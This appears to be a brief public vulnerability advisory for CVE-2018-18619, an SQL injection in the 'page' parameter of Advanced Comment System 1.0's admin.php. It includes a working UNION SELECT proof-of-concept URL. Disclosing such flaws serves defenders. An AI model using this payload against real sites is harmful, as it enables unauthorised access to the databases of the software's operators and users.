# Exploit Title: SQL injection in Advanced comment system v1.0 # Date: 29-10-2018 # Exploit Author: Rafael Pedrero # Vendor Homepage: http://www.plohni.com # Software Link: http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip, https://web.archive.org/web/20120214173003/http://www.plohni.com/wb/content/php/download/Advanced_comment_system_1-0.zip # Version: Advanced comment system v1.0 # Tested on: All # CVE : CVE-2018-18619 # Category: webapps 1. Description PHP page internal/advanced_comment_system/admin.php in Advanced Comment System 1.0 is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query, allowing remote attackers to execute the sqli attack via a URL in the "page" parameter. The product is discontinued. 2. Proof of Concept http://x.x.x.x/internal/advanced_comment_system/admin.php?pw=admin&page=/internal/index.php%27%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x71717a6b71,0x67424663534f77556d44746a59686f78427354754268636b5466486249616b724d716e4869634758,0x7171626a71),NULL--%20SkrU&del=2 3. Solution: The product is discontinued.